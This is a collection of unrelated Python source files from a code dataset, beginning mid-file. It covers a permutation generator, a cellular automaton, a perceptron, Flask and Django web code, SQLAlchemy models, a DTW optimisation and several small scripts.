next_item(self):\n        if self.text_block_counter + 5 <= len(self.items) - 1:\n            self.text_block_counter += 1\n\n    def previous_item(self):\n        if 0 < self.text_block_counter <= len(self.items):\n            self.text_block_counter -= 1\n\n    def reset(self):\n        self.text_block_counter = 0\n\n    def get_end_block(self):\n        if self.text_block_counter + 5 <= len(self.items):\n            return self.text_block_counter + 5\n\n        return len(self.items) - self.text_block_counter\n","sub_path":"base/Classes/Highscores.py","file_name":"Highscores.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"67722530","text":"\"\"\"Compute all distinct permutations of a given vector.\"\"\"\nfrom typing import List\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass UniqueElement:\n    \"\"\"Class for unique elements to keep track of occurrences.\"\"\"\n\n    value: int\n    occurrences: int\n\n\ndef unique_perms(elements: List[int]):\n    \"\"\"\n    Determine the number of unique permutations of a list.\n\n    :param elements:\n    :return:\n    \"\"\"\n    elem_set = set(elements)\n    list_unique = [\n        UniqueElement(value=i, occurrences=elements.count(i)) for i in elem_set\n    ]\n    len_elems = len(elements)\n\n    return perm_unique_helper(list_unique, [0] * len_elems, len_elems - 1)\n\n\ndef perm_unique_helper(\n    list_unique: List[UniqueElement], result_list: List[int], elem_d: int\n):\n    \"\"\"\n    Provide helper function for unique_perms.\n\n    :param list_unique:\n    :param result_list:\n    :param elem_d:\n    :return:\n    \"\"\"\n    if elem_d < 0:\n        yield tuple(result_list)\n    else:\n        for i in list_unique:\n            if i.occurrences > 0:\n                result_list[elem_d] = i.value\n                i.occurrences -= 1\n                for g_perm in perm_unique_helper(list_unique, result_list, elem_d - 1):\n                    yield g_perm\n                i.occurrences += 1\n","sub_path":"toqito/perms/unique_perms.py","file_name":"unique_perms.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"46944256","text":"import urllib.request\n\ndef readfile():\n     fname = 'text'\n     with urllib.request.urlopen('https://www.dropbox.com/s/sipsmqpw1gwzd37/referat.txt?dl=1') as file:\n          text = file.read()\n     with open(fname, 'wb') as file:\n          file.write(text)\n     \n     with open(fname, 'r', encoding='utf-8') as file:\n          text = file.read().replace('/n', ' ').split()\n          result = len(text)\n          \n     print(result)\n     \nif __name__ == '__main__':\n     readfile()\n     ","sub_path":"lesson3/03_wordcount.py","file_name":"03_wordcount.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"347575638","text":"#from nba_api.stats.endpoints import boxscorematchups\n#import pandas\n# Anthony Davis\n#career = boxscorematchups.BoxScoreMatchups(game_id='0021900663')\n#career.get_data_frames()[0]\n\n#print(career.get_data_frames()[0])\n\n\nimport requests\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36',}\nurl = 'http://stats.nba.com/stats/boxscoresummaryv2'\n\nparams = {'GameID': '0021900663'}\nresponse = requests.request(\"GET\", url, params=params, headers=headers,timeout=10)\n\nprint(response.json)","sub_path":"post/helper func/2020-02-20-NBA-Matchups.py","file_name":"2020-02-20-NBA-Matchups.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"554260853","text":"from chatterbot import ChatBot\nfrom chatterbot.response_selection import get_random_response\n\nimport os\nprint(os.getcwd())\n\n\n            \nbot = ChatBot(\"Chatterbot\", read_only = True,\n              response_selection_method=get_random_response,\n              storage_adapter=\"chatterbot.storage.SQLStorageAdapter\",\n              logic_adapters=[\n                      'chatterbot.logic.MathematicalEvaluation',\n                      # 'chatterbot.logic.TimeLogicAdapter',\n                     {\n                              'import_path': 'chatterbot.logic.BestMatch'\n                    },\n                    {\n                             'import_path': 'chatterbot.logic.LowConfidenceAdapter',\n                             'threshold': 0.65,\n                             'default_response': 'Please be more specific.'\n                    }\n                    ],\n            filters=[\n                    'chatterbot.filters.RepetitiveResponseFilter'\n                    ],\n            )\n\n    \nwhile True:\n    try:\n        request = input('You: ')\n        response = bot.get_response(request)\n        print('Bot: ', response)\n\n    # Press ctrl-c or ctrl-d on the keyboard to exit\n    except (KeyboardInterrupt, EOFError, SystemExit):\n        break\n\n","sub_path":"Bots/Site_Bots/BOT_FP_EN _Test/FP_EN_local.py","file_name":"FP_EN_local.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"365723328","text":"import numpy as np\nimport os\nfrom glob import glob\n\n\"\"\"Updating residue ID so that the first resid is 1\"\"\"\n\nfiles = glob('*pdb')\ndes = 'test'\n\ntry:\n    os.mkdir(des)\nexcept:\n    pass\n\nfor fileName in files:\n    FixResid = False\n    SkipToNextFile = False\n    file = open(fileName,'r')\n    lines = file.readlines()\n    linenum = 0\n    newlines = []\n    for line in lines:\n        if 'ATOM' in line or 'HETATM' in line or 'TER' in line:\n            resid = int(line[22:26])\n            if linenum == 0:\n                if resid == 0:\n                    FixResid = True\n                    newid = resid + 1\n                    line = line[:22] + ' '*(4-len(str(newid))) + str(newid) + line[26:]\n                    print('-- Updating residue id for {} --'.format(fileName))\n                elif resid!= 0:\n                    SkipToNextFile = True\n            elif linenum !=0 and FixResid:\n                newid = resid + 1\n                line = line[:22] + ' '*(4-len(str(newid))) + str(newid) + line[26:]\n            linenum += 1\n        newlines.append(line)\n\n        if SkipToNextFile:\n            break\n\n    if not SkipToNextFile:\n        newfile = open(os.path.join(des,fileName.split('/')[-1]),'w')\n        newfile.write(''.join(newlines))           \n        newfile.close() \n","sub_path":"changeResid.py","file_name":"changeResid.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"599966062","text":"#-*- coding: UTF-8 -*-\nfrom __future__ import division\nimport math\nimport cgi\nimport markdown2\nfrom flask import render_template, request, redirect, url_for, json, session, abort\nfrom xichuangzhu import app, db\nfrom xichuangzhu.models.author_model import Author\nfrom xichuangzhu.models.work_model import Work, WorkReview, WorkReviewComment\nfrom xichuangzhu.models.dynasty_model import Dynasty\nfrom xichuangzhu.models.user_model import User\nfrom xichuangzhu.form import ReviewForm, CommentForm\nfrom xichuangzhu.utils import require_admin, require_login\n\n# page review\n#--------------------------------------------------\n@app.route('/work_review/<int:review_id>')\ndef work_review(review_id):\n    form = CommentForm()\n\n    review = WorkReview.query.get_or_404(review_id)\n\n    # others cannot see draft\n    is_me = True if \"user_id\" in session and session['user_id'] == review.user_id else False\n    if not is_me and not review.is_publish: \n        abort(404)\n    \n    # Click num + 1\n    review.click_num += 1 \n    db.session.add(review)\n    db.session.commit()\n\n    return render_template('work_review/work_review.html', review=review, form=form)\n\n# proc - add comment\n@app.route('/work_review/<int:review_id>/comment', methods=['POST'])\n@require_login\ndef comment_work_review(review_id):\n    form = CommentForm(request.form)\n    if form.validate():\n        comment = WorkReviewComment(content=cgi.escape(form.content.data), review_id=review_id, user_id=session['user_id'])\n        db.session.add(comment)\n        db.session.commit()\n        return redirect(url_for('work_review', review_id=review_id) + \"#\" + str(comment.id))\n    else:\n        return redirect(url_for('work_review', review_id=review_id))\n\n# page - all work reviews\n#--------------------------------------------------\n@app.route('/all_work_reviews')\ndef all_work_reviews():\n    page = int(request.args.get('page', 1))\n    pagination = WorkReview.query.filter(WorkReview.is_publish==True).order_by(WorkReview.create_time.desc()).paginate(page, 10)\n\n    # get reviews\n    stmt = db.session.query(WorkReview.user_id, db.func.count(WorkReview.user_id).label('reviews_num')).group_by(WorkReview.user_id).subquery()\n    hot_reviewers = db.session.query(User).join(stmt, User.id==stmt.c.user_id).order_by(stmt.c.reviews_num)\n\n    return render_template('work_review/all_work_reviews.html', pagination=pagination, hot_reviewers=hot_reviewers)\n\n# page - add review to a work\n#--------------------------------------------------\n@app.route('/work/<int:work_id>/add_review', methods=['GET', 'POST'])\n@require_login\ndef add_work_review(work_id):\n    work = Work.query.get_or_404(work_id)\n    if request.method == 'GET':\n        form = ReviewForm()\n        return render_template('work_review/add_work_review.html', work=work, form=form)\n    else:\n        form = ReviewForm(request.form)\n        if form.validate():\n            is_publish = True if 'publish' in request.form else False\n            review = WorkReview(title=cgi.escape(form.title.data), content=cgi.escape(form.content.data), user_id=session['user_id'], work_id=work_id, is_publish=is_publish)\n            db.session.add(review)\n            db.session.commit()\n            return redirect(url_for('work_review', review_id=review.id))\n        else:\n            return render_template('work_review/add_work_review.html', work=work, form=form)\n\n# page - edit review\n#--------------------------------------------------\n@app.route('/work_review/<int:review_id>/edit', methods=['GET', 'POST'])\n@require_login\ndef edit_work_review(review_id):\n    review = WorkReview.query.get_or_404(review_id)\n    if review.user_id != session['user_id']:\n        abort(404)\n\n    if request.method == 'GET':\n        form = ReviewForm(title=review.title, content=review.content)\n        return render_template('work_review/edit_work_review.html', review=review, form=form)\n    else:\n        form = ReviewForm(request.form)\n        if form.validate():\n            review.title = cgi.escape(form.title.data)\n            review.content = cgi.escape(form.content.data)\n            review.is_publish = True if 'publish' in request.form else False\n            db.session.add(review)\n            db.session.commit()\n            return redirect(url_for('work_review', review_id=review_id))\n        else:\n            return render_template('work_review/edit_work_review.html', review=review, form=form)\n\n# proc delete review\n#--------------------------------------------------\n@app.route('/review/<int:review_id>/delete')\n@require_login\ndef delete_work_review(review_id):\n    review = WorkReview.query.get_or_404(review_id)\n    if review.user_id != session['user_id']:\n        abort(404)\n\n    db.session.delete(review)\n    db.session.commit()\n    return redirect(url_for('index'))","sub_path":"xichuangzhu/controllers/work_review.py","file_name":"work_review.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"185839415","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\n\n\nclass User(AbstractUser):\n\t\"\"\"Расширенная модель пользователя\"\"\"\n\tteam_control = models.OneToOneField(\n\t\t'teams.Team',\n\t\tnull=True,\n\t\tblank=True,\n\t\ton_delete=models.SET_NULL,\n\t\tverbose_name='Команда которую можно редактировать'\n\t)\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"630063205","text":"\nlista_protocolos = []\nlista_averbacoes = ['702', '703', '704', '705']\nlista_descricoes = {}\n\n\nwith open('C:\\\\BANCOS\\\\AGTCAVB', 'r', encoding ='cp437') as averbacoes:\n    for linha in averbacoes:\n        lista_descricoes[linha[1:4]] = linha[5:45]\n\n\nwith open('C:\\\\BANCOS\\\\CTIAD01', 'r', encoding='cp437') as ctiad01:\n    for linha in ctiad01:\n        if linha[223] == '9' or linha[223:226] in lista_averbacoes:\n            lista_protocolos.append(linha[223:226] + ' ' + linha[1:11] + ' ' \n                + lista_descricoes[linha[223:226]])\n            \nlista_protocolos.sort()\n\nwith open(\"C:\\\\BANCOS\\\\relatorio_suspensos.txt\", 'w') as relatorio:\n    for protocolo in lista_protocolos:\n        relatorio.write(protocolo + '\\n')\n","sub_path":"sustados_levantamento.py","file_name":"sustados_levantamento.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"230836896","text":"#Desafio100\n\nfrom random import randint\nfrom time import sleep\n\n\ndef sorteia(lista):\n\tprint('-='*21)\n\tprint('Sorteando os numeros ...')\n\tfor i in range(5):\n\t\trand = randint(0,10)\n\t\tprint(rand, end=' ',flush=True)\n\t\tsleep(0.5)\n\t\tlista.append(rand)\n\tprint(f'\\nOs numeros sorteados foram {lista}')\n\n\ndef somaPar(lista):\n\tsoma = 0\n\tprint('-='*21)\n\tprint('Os numeros pares sao: ',end='')\n\tfor i in lista:\n\t\tif i % 2 == 0:\n\t\t\tprint(i, end=' ', flush=True)\n\t\t\tsoma += i\n\tprint(f'\\nE a soma entre eles é {soma}')\n\n\nnumeros = []\n\nsorteia(numeros)\n\nsomaPar(numeros)\n\t\t","sub_path":"Desafio100.py","file_name":"Desafio100.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"258639642","text":"import numpy as np\nfrom numba import jit\n\n# %matplotlib inline\n\n@jit(nopython=True)\ndef ca_step(rule, size, input, output):\n  for x in range(size):\n    l = x - 1\n    r = x + 1\n    if r == size:\n      r = 0\n    if l == -1:\n      l = size - 1\n    rule_case = 8 - (input[r] + 2*(input[x] + 2*input[l]))\n    output[x] = rule[rule_case - 1]\n  return output\n\n@jit(nopython=True)\ndef ca_evolve(rule, init):\n  (steps, width) = init.shape\n  for x in range(steps - 1):\n    ca_step(rule, width, init[x], init[x+1])\n  return init\n\n\ndef make_init(width,steps):\n  r = np.random.randn(1, width)\n  init = np.zeros( (steps+1, width), dtype=np.int64)\n  init[0] = r\n  return init\n\n\n\n\n\n##\n\ndef ruleb(rule):\n    return np.array([int(x) for x in np.binary_repr(rule, 8)], dtype=np.int32)\n\ndef integer_digits(num, base, padding):\n    return np.array([int(x) for x in np.base_repr(num, base=base, padding=padding)], dtype=np.int32)\n\ndef outer_totalistic_digits(rn, k, r):\n    digits1 = integer_digits(rn, k, k * (2 * r *(k - 1) + 1))\n    return np.flip(digits1,0).copy(order='C')\n\n\ndef evolve(rulenumer, init, steps):\n    rule = ruleb(rulenumer)\n    theinita = padinit(init,steps)\n    ca_evolve(rule, init)\n    return theinita\n\ndef randominit(size, seed):\n    np.random.seed(seed)\n    return (np.random.rand(size) < .5).astype(np.int32)\n\ndef init(size, steps):\n    x = np.zeros((steps, size), dtype=np.int32)\n    x[0,:] = np.random.rand(size) < .5\n    return x\n\ndef padinit(init,steps):\n    x = np.zeros((steps+1, init.size), dtype=np.int32)\n    x[0,:] = init\n    return x\n\n\n\n## non ECA\n\n\ndef evolve_otk3r1(rulenumer, init, steps):\n    rule = ffi.from_buffer(outer_totalistic_digits(rulenumer, 3, 1))\n    theinita = padinit(init,steps)\n    theinitb = ffi.from_buffer(theinita)\n    _calib.lib.caevolve_otk3r1(rule, theinitb, init.size, steps)\n    return theinita\n\n\n\ndef evolve_otk2r1_2d_neumann(rulenumer, init, steps):\n    rule = ffi.from_buffer(outer_totalistic_digits(rulenumer, 2, 2))\n    shape = init.shape\n    width = shape[1]\n    height = shape[0]\n    theinita = padinit2d(init,steps)\n    theinitb = ffi.from_buffer(theinita)\n    _calib.lib.caevolve_otk2r1_2d_neumann(rule, theinitb, width, height, steps)\n    return theinita\n\ndef padinit2d(init,steps):\n    dim = init.shape\n    x = np.zeros((steps+1, dim[0], dim[1]), dtype=np.int32)\n    x[0,:] = init\n    return x\n","sub_path":"pythomaton/cellular_automaton/evolve.py","file_name":"evolve.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"479337446","text":"#!/usr/bin/python3\n#\\file    dtw_min1.py\n#\\brief   Minimize DTW to match two sequences.\n#\\author  Akihiko Yamaguchi, info@akihikoy.net\n#\\version 0.1\n#\\date    Mar.11, 2020\n# NOTE: Need to install fastdtw by:\n#   $ sudo apt-get -f install python3-scipy\n#   $ pip install fastdtw\n# https://pypi.org/project/fastdtw/\n# NOTE: Need to use Python 3 (#!/usr/bin/python3).\n\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\nfrom fastdtw import fastdtw\nimport scipy.optimize\n\nfrom dtw2 import LoadXFSeq\n\nx_f_seq1= LoadXFSeq('../../data/time_f_z001.dat')\nx_f_seq2= LoadXFSeq('../../data/time_f_z002.dat')\n#x_f_seq2= LoadXFSeq('../../data/time_f_z003.dat')\n\ndef dist(dx):\n  seq_mod= [[x+dx,f] for x,f in x_f_seq2]\n  d, path= fastdtw(x_f_seq1, seq_mod, dist=euclidean)\n  d2= d\n  #d2= sum((abs(x_f_seq1[i1][0]-seq_mod[i2][0]) for i1,i2 in path))\n  #d2= sum(((x_f_seq1[i1][0]-seq_mod[i2][0])**2+(x_f_seq1[i1][1]-seq_mod[i2][1])**2 for i1,i2 in path))\n  #d2= max(((x_f_seq1[i1][0]-seq_mod[i2][0])**2+(x_f_seq1[i1][1]-seq_mod[i2][1])**2 for i1,i2 in path))\n  print(dx,d2)\n  return d2\n\ndef plot(dx):\n  seq_mod= [[x+dx,f] for x,f in x_f_seq2]\n  with open('/tmp/seq1.dat','w') as fp:\n    for x in x_f_seq1:\n      fp.write('%f %f\\n' % (x[0],x[1]))\n  with open('/tmp/seq2.dat','w') as fp:\n    for x in x_f_seq2:\n      fp.write('%f %f\\n' % (x[0],x[1]))\n  with open('/tmp/seq2_mod.dat','w') as fp:\n    for x in seq_mod:\n      fp.write('%f %f\\n' % (x[0],x[1]))\n  print('Plot by:')\n  print('  qplot -x /tmp/seq1.dat w lp /tmp/seq2.dat w lp /tmp/seq2_mod.dat w lp')\n\nxmin= [-0.1]\nxmax= [0.1]\ntol= 1.0e-4\nres= scipy.optimize.differential_evolution(dist, np.array([xmin,xmax]).T, strategy='best1bin', maxiter=30, popsize=3, tol=tol, mutation=(0.5, 1), recombination=0.7)\nprint(res)\nprint('Result=',res.x,dist(res.x))\nplot(res.x)\n\n","sub_path":"python/algorithms/fastdtw/dtw_min1.py","file_name":"dtw_min1.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"553608943","text":"import testeclasse\nfrom testeclasse import Tarefas\n\nif __name__ == '__main__':\n  lista = []\n  redolista = []\n\n  while True:\n      option=Tarefas\n\n      option = input('Enter your list\\n|1-Undo , 2-redo , 3-print list| \\n')\n      if option == 'print':\n          lista.display()\n          continue\n      elif option == 'undo':\n          lista.undo(lista, redolista)\n          continue\n      elif option == 'redo':\n         lista.redo(lista, redolista)\n         continue\n\n      lista.add(option,lista)\n\n\n\n\n\n","sub_path":"Curso python/Cursopy/poo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"631260506","text":"from .models import (\n    AddressData,\n    ExternalIdentifier,\n    JednostkaAdministracyjna,\n    Institution,\n)\nfrom rest_framework import serializers\n\nfrom ..generic.serializers import UserLogModelSerializer\n\n\nclass AdministrativeUnitSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = JednostkaAdministracyjna\n        exclude = [\n            \"id\",\n        ]\n\n\nclass AddressDataSerializer(serializers.HyperlinkedModelSerializer):\n    class Meta:\n        model = AddressData\n        fields = \"__all__\"\n        read_only_fields = [\n            \"id\",\n        ]\n\n\nclass ExternalIdentifierSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = ExternalIdentifier\n        exclude = [\n            \"id\",\n        ]\n\n\nclass InstitutionSerializer(UserLogModelSerializer):\n\n    address = AddressDataSerializer()\n    external_identifier = ExternalIdentifierSerializer()\n    administrative_unit = AdministrativeUnitSerializer()\n\n    class Meta:\n        model = Institution\n        read_only_fields = [\n            \"created_by\",\n            \"modified_by\",\n            \"created_on\",\n            \"modified_on\",\n            \"id\",\n        ]\n        fields = [\n            \"modified_on\",\n            \"name\",\n            \"external_identifier\",\n            \"created_on\",\n            \"administrative_unit\",\n            \"address\",\n            \"modified_by\",\n            \"created_by\",\n            \"id\",\n        ]\n\n    def create(self, validated_data):\n\n        validated_data[\"external_identifier\"] = ExternalIdentifier.objects.create(\n            **validated_data.pop(\"external_identifier\")\n        )\n        validated_data[\"address\"] = AddressData.objects.create(\n            **validated_data.pop(\"address\")\n        )\n        validated_data[\"administrative_unit\"] = JednostkaAdministracyjna.objects.create(\n            **validated_data.pop(\"administrative_unit\")\n        )\n\n        return super().create(validated_data)\n","sub_path":"backend-project/small_eod/institutions/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"1775764","text":"'''\n\nBuilding on the example more_APIs/00_slack, make a new database with two tables to model this object:\n\n{\n        \"link\": \"the fetched URL\",\n        \"description\": \"short blurb describing the resource (if available)\",\n        \"date_added\": \"when was it posted?\",\n        \"read\": False  # defaults to False, change to True if you read it\n        \"rating\": 0  # on a scale from 1-10, initially 0\n        \"comments\": [\n            \"a list of strings\",\n            \"with comments on the resource\",\n        ]\n        \"starred\": False,  # defaults to False, change to True if you think it's great\n}\n\nThink about what tables are required to model this object. Do you need two tables? Three?\n\nNow, instead of saving the list of these objects to a JSON file, persist the data\nto your database.\n\nNOTE: If you run this several times you will be saving the same information in the table.\nTo prevent this, you should add a check to see if the record already exists before inserting it.\n\n'''\nimport sqlalchemy as db\nfrom pprint import pprint\n\n\nfrom config import username\nDATABASE_URI = f'postgres+psycopg2://{username}@localhost:5432/slack'\nengine = db.create_engine(DATABASE_URI)\nconnection = engine.connect()\nmetadata = db.MetaData()\n\nmessages = db.Table('messages', metadata,\n                    db.Column('id', db.Integer(), autoincrement=True, primary_key=True),\n                    db.Column('link', db.String(500), nullable=False),\n                    db.Column('description', db.Text()),\n                    db.Column('date_added', db.Integer()),\n                    db.Column('read', db.Boolean, default=False),\n                    db.Column('rating', db.Integer(), default=0),\n                    db.Column('starred', db.Boolean(), default=False)\n                    )\n\ncomments = db.Table('comments', metadata,\n                    db.Column('id', db.Integer(), autoincrement=True, primary_key=True),\n                    db.Column('message_id', db.Integer(), db.ForeignKey('messages.id')),\n                    db.Column('author', db.String(200), nullable=False),\n                    db.Column('content', db.Text(), nullable=False))\n\nmetadata.create_all(engine)\n\n#creating a test table\n# test = sqa.Table('test', metadata,\n#                  sqa.Column('id', sqa.Integer(), autoincrement=True, primary_key=True),\n#                  sqa.Column('quote', String(255), nullable=False),\n#                  )\n# #the second column entry allows you to choose what you like quote or link\n# metadata.create_all(engine)","sub_path":"week_05/slackkkky_fun/just_making_2_tables_man.py","file_name":"just_making_2_tables_man.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"255333568","text":"import numpy as np\n\nclass Perceptron:\n\n    def __init__(self, learningRate = 0.02, number_iter = 10):\n    # _init_ 初始化函数, learingRate 和 训练数据set的个数\n\n    # learningRate \n    # number_iter 表示进行 训练次数\n        self.learningRate = learningRate;\n        self.number_iter = number_iter;\n    \n    # 初始化新的对象，使用data\n    # name_ 表示不在 _init_中初始化的属性，只在使用其他函数的时候才创建\n\n    def fit(self, X, y):\n    # w_[] list 表示适配之后的权重weights 表示不同的featureNumber 对应的权重\n    # errors_[] lsit 表示在每次迭代中epoch中 的分类错误的个数\n\n        ### X 表示一个numpy的二维矩阵 [sampleNumber, featuresNumber]\n        ### y 表示一个numpy的一维矩阵，表示[sampleNumber] ==> 每一个sample的真是的值？ -1 or +1\n        ### [a, b] ==> 对应相应的值\n        ### X.shape ==> 返回每一个维度的长度，(n, n)\n        self.w_ = np.zeros(1 + X.shape[1]); # 表示 feature维度的长度，然后加上1，表示threshold, 全是0\n        #### 一维的数组\n\n        self.errors_ = [];\n\n        for _ in range(self.number_iter):\n            errors = 0;  #### 每一次epoch的错误个数\n\n            for xi, target in zip(X, y):   #### zip 之后对应的 ( [value1, value2, value3], sampleNumber) sampleNumber 对应的features vector\n\n                ### 每次epoch 都会修改模型，然后再次预测\n                update = self.learningRate * (target - self.predict(xi));\n\n                #### update 对应的是此时这个样本 sample对应的结果\n                #### xi 对应的是 [1,2,3,3,3] 是每一个weight 对应的 features值\n                #### 此时要更新每一个weight ， 通过 += update * [1,2,3,4,4]\n\n\n                self.w_[1:] += update * xi; #### 矩阵后面对应feachersNumber 的weight 要变化 初始的时候是0\n                self.w_[0] += update; #### 对应的阈值也要变化 初始的时候是0  这里根据的是update的原则，注意阈值对应的xi是1\n\n                #### w0 对应 x0是1，所以w0就表示的是阈值，所以输入的时候不用输入x0 无意义\n\n                errors += int(update != 0.0);  #### 如果update不是0，表示不正确预测\n            \n            #### 将每一次遍历的 错误个数存入list中\n            self.errors_.append(errors);\n\n        return self;\n\n    #### xi 表示单个sanple下的，表示对应的feachersNuber 一维 vector\n    def net_input(self, xi):\n        return np.dot(xi, self.w_[1:]) + self.w_[0]; ### 注意加上阈值\n\n    # 进行预测\n    #### xi 表示单个sanple下的 一维 vector\n    def predict(self, xi):\n        return np.where(self.net_input(xi) >= 0.0, 1, -1);\n\n\n    #### 注意 每一次epoch遍历，中的每一个sample的遍历 都会改变权重，但是每一次perdict的时候，只有所有的update更新之后才计算预测值\n\n\n\n","sub_path":"Perceptron.py","file_name":"Perceptron.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"348516975","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nimport os\nbatch_size = 3\nbatch_k = 5\nfeature_dim = 128\nnonzero_loss_cutoff = 1\nmargin = 0.5\na = tf.Variable(np.ones(feature_dim).reshape((1, feature_dim)), dtype=tf.float32)\nb = tf.Variable(np.ones(feature_dim).reshape((1, feature_dim)), dtype=tf.float32)\nnorm_a = tf.nn.l2_normalize(a, dim=1)\nnorm_b = tf.nn.l2_normalize(b, dim=1)\nloss = 2 - 2 * norm_a * tf.transpose(norm_b)\noptimizer = tf.train.MomentumOptimizer(0.01, 0.9).minimize(loss)\nwith tf.Session() as sess: \n  sess.run(tf.global_variables_initializer())\n  for i in range(1):\n    a_grad = tf.gradients(loss, a)\n    _, loss_value, a_value = sess.run([optimizer, loss, a_grad])\n    print(i, loss_value)\n    print(a_value)\n  #print(a_value - b_value)\n  #print(sess.run(d))\n  #print(sess.run(tf.gather_nd(fea1, d)))\n","sub_path":"tensorflow/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"622806030","text":"from Panda import *\n\ndef f(x,y):\n    return (sin(x)+cos(y))*3\ndef death(m,v):\n    lastFor(4,fireish(position = m.position.now()))\n    \ns = surface(f, xmin = -10, ymin = -10, xmax = 10, ymax = 10, texture = \"diagnolColors.jpg\")\n\nb = soccerBall(size = .2)\nrollSphere(b, s, 2, -2, 2, 1)\n\nj = sphere(texture = \"jupitermap.jpg\", size = .2)\nrollSphere(j, s, 0, 0, 5, 6)\n\ngoal=sphere(texture = \"venusmap.jpg\", size = .5,position = P3(3, 4, f(3,4)+1))\ngoal.react1(hit(goal,b),death)\ngoal.react1(hit(goal,j),death)\n\n\ncamera.position = P3(0, 0, 20)\ncamera.hpr = HPR(0,1.5*pi,0)\n\n\nstart()","sub_path":"Handouts/src/4-2 Rolling Ball (Physics)/02-rolling.py","file_name":"02-rolling.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"394934382","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom article.models import Article\nfrom article.models import Batch\n\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError\n\nfrom bs4 import BeautifulSoup\nfrom django.utils import timezone\nimport re\n\n\nclass Command(BaseCommand):\n    help = 'scrape articles by batch table'\n\n    def add_arguments(self, parser):\n        pass\n\n    # バッチテーブルの登録情報を元にスクレピングを行う\n    def handle(self, *args, **options):\n\n        all_batch = Batch.objects.all()\n        for batch in all_batch:\n            try:\n                self._save_articles(batch)\n            except RuntimeError as e:\n                raise CommandError(e.with_traceback())\n\n        self.stdout.write(self.style.SUCCESS('Success'))\n\n    def _save_articles(self, batch):\n        link_list = self.fetch_list_by_scrape(site_url=batch.target_url, target_extract_condition=batch.link_extract)\n\n        for link in link_list:\n            # print(\"URL情報：\"+link.attrs['href'])\n            try:\n                title = self.fetch_list_by_scrape(site_url=link.attrs['href'], target_extract_condition=batch.\n                                                  title_extract).get_text()\n            except ValueError:\n                continue\n            except AttributeError:\n                continue\n            article = Article()\n            article.title = title\n            article.link = link.attrs['href']\n            article.source = batch.source\n            article.category = batch.category\n            article.pub_date = timezone.now()\n            article.save()\n\n    @staticmethod\n    def fetch_list_by_scrape(site_url, target_extract_condition):\n        try:\n            html = urlopen(site_url)\n        except HTTPError:\n            raise RuntimeError(\"page not found or invalid\")\n        try:\n            soup = BeautifulSoup(html.read(), \"html.parser\")\n            string_for_scrape = \"soup.\" + target_extract_condition\n            # sample_list = soup.findAll(\"span\", {\"class\":\"titletext\"})\n            tag_list = eval(string_for_scrape)\n\n        except AttributeError:\n            raise RuntimeError(\"Attribute not found or invalid\")\n        except RuntimeError as e:\n            raise RuntimeError(\"Given string is invalid\")\n        return tag_list\n","sub_path":"catchup/article/management/commands/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
